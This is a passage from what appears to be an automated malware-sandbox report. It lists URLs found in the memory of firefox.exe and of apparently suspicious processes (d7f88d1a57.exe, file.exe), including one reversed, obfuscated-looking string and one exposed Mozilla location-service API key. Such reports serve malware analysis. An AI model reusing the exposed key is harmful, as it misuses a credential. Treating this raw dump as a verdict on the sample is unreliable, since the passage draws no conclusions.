Source: firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000030.00000002.2675884734.000001B471303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000030.00000003.2573129546.000001B473C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2573741035.000001B473C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2571185867.000001B473A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2689247042.000001B473770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000003.2572216672.000001B473C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotse7064bb9-2fbf-4b08-bcd2-203eac14ebe7
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2748000765.000032D30E404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2644239902.000001B464011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Somehow
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000030.00000002.2649771173.000001B46F8AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000030.00000002.2684816649.000001B47269C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2712776190.000001B474F34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000030.00000002.2712776190.000001B474F34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000030.00000002.2712776190.000001B474F34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000030.00000002.2748174410.0000340A8B800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2729171545.000001B477456000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000030.00000002.2748174410.0000340A8B800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comZ
Source: firefox.exe, 00000030.00000002.2729171545.000001B477456000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2715755487.000001B475B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comresource://gre/modules/NetUtil.sys.mjsbrowser.taskbar.previews.cach
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585394414.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B4711A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2583905047.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585060847.000001B47171D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2677320070.000001B47173A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://outlook.live.com/default.aspx?rru=compose&
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sresource://pdf.js/PdfJsDefaultPreferences.sys.mjsh
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585394414.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2583905047.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585060847.000001B47171D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2652944001.000001B46FE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2677320070.000001B47173A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585394414.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2583905047.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585060847.000001B47171D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2652944001.000001B46FE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2677320070.000001B47173A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%sSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLhttps://poczta.inte
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2644239902.000001B4640D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://gre/modules/translation/LanguageDetecto
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000030.00000002.2671104200.000001B47113C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comhttps://screenshots.firefox.comhttps://support.mozilla.orggeckoprofiler
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000030.00000002.2748912238.00003BAD07704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: d7f88d1a57.exe, 0000001C.00000003.2387771613.00000000056D1000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2389021711.00000000056CA000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2388422416.00000000056D7000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2388358591.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2615429848.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2614276173.00000000056EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXID/
Source: d7f88d1a57.exe, 0000001C.00000003.2387771613.00000000056D1000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2389021711.00000000056CA000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2388422416.00000000056D7000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2388358591.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2615429848.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2614276173.00000000056EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXIDv10
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585394414.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2583905047.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585060847.000001B47171D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2677320070.000001B47173A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585394414.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2583905047.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585060847.000001B47171D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2652944001.000001B46FE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2677320070.000001B47173A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000030.00000002.2671104200.000001B47113C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000030.00000003.2572216672.000001B473C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/adsafeprotected-ima.js
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/adsafeprotected-ima.jsshims/rambler-authenticator.js/shims/tra
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svgresource://gre/modules/addons/XPIProvider.jsmresource://gre/m
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2716208429.000001B475C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jslinear-gradient(90deg
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2716208429.000001B475C1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2715755487.000001B475B0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000030.00000002.2671104200.000001B47113C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2725037727.000001B476809000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: d7f88d1a57.exe, 0000001F.00000003.2652986745.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpresource://devtools/
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2726675356.000001B4769BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesresource://devtools/client/
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationDownloadsView
Source: d7f88d1a57.exe, 0000001F.00000003.2652986745.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1849603817.0000000023B43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000030.00000002.2671104200.000001B47113C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.comhttps://addons.mozilla.orgtestPermissionFromPrincipalmedia.autoplay.bl
Source: firefox.exe, 00000030.00000002.2748000765.000032D30E404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
